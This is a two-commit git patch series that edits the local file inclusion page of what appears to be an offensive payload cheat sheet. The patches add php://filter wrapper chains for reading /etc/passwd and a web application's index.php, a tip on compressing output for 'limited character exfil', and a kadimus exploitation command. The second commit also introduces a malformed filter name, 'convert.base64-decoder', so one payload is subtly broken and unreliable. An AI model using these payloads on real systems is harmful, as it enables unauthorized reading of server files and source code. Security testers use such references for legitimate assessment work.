From 7d650e9622189ebe156f1dd7ca7465bddac1659c Mon Sep 17 00:00:00 2001 From: 0xdf <0xdf.223@gmail.com> Date: Thu, 20 Feb 2020 06:30:28 -0500 Subject: [PATCH 1/2] fixed error in chaining php filters in File Inclusion page, added an additional example --- File Inclusion/README.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/File Inclusion/README.md b/File Inclusion/README.md index 2e29bd0..3125a53 100644 --- a/File Inclusion/README.md +++ b/File Inclusion/README.md @@ -133,7 +133,9 @@ can be chained with a compression wrapper for large files. http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd ``` -NOTE: Wrappers can be chained multiple times : `php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s` +NOTE: Wrappers can be chained multiple times : +- Multiple base64 decodes: `php://filter/convert.base64-decode/convert.base64-decode/convert.base64-decode/resource=%s` +- deflate then base64encode (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php` ```powershell ./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page From 9d06e1297f8ab293e680d84faece0089eb56b755 Mon Sep 17 00:00:00 2001 From: 0xdf <0xdf.223@gmail.com> Date: Thu, 20 Feb 2020 06:40:30 -0500 Subject: [PATCH 2/2] added additional way to chain php filters --- File Inclusion/README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/File Inclusion/README.md b/File Inclusion/README.md index 3125a53..964961a 100644 --- a/File Inclusion/README.md +++ b/File Inclusion/README.md @@ -133,8 +133,8 @@ can be chained with a compression wrapper for large files. http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd ``` -NOTE: Wrappers can be chained multiple times : -- Multiple base64 decodes: `php://filter/convert.base64-decode/convert.base64-decode/convert.base64-decode/resource=%s` +NOTE: Wrappers can be chained multiple times using `|` or `/`: +- Multiple base64 decodes: `php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s` - deflate then base64encode (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php` ```powershell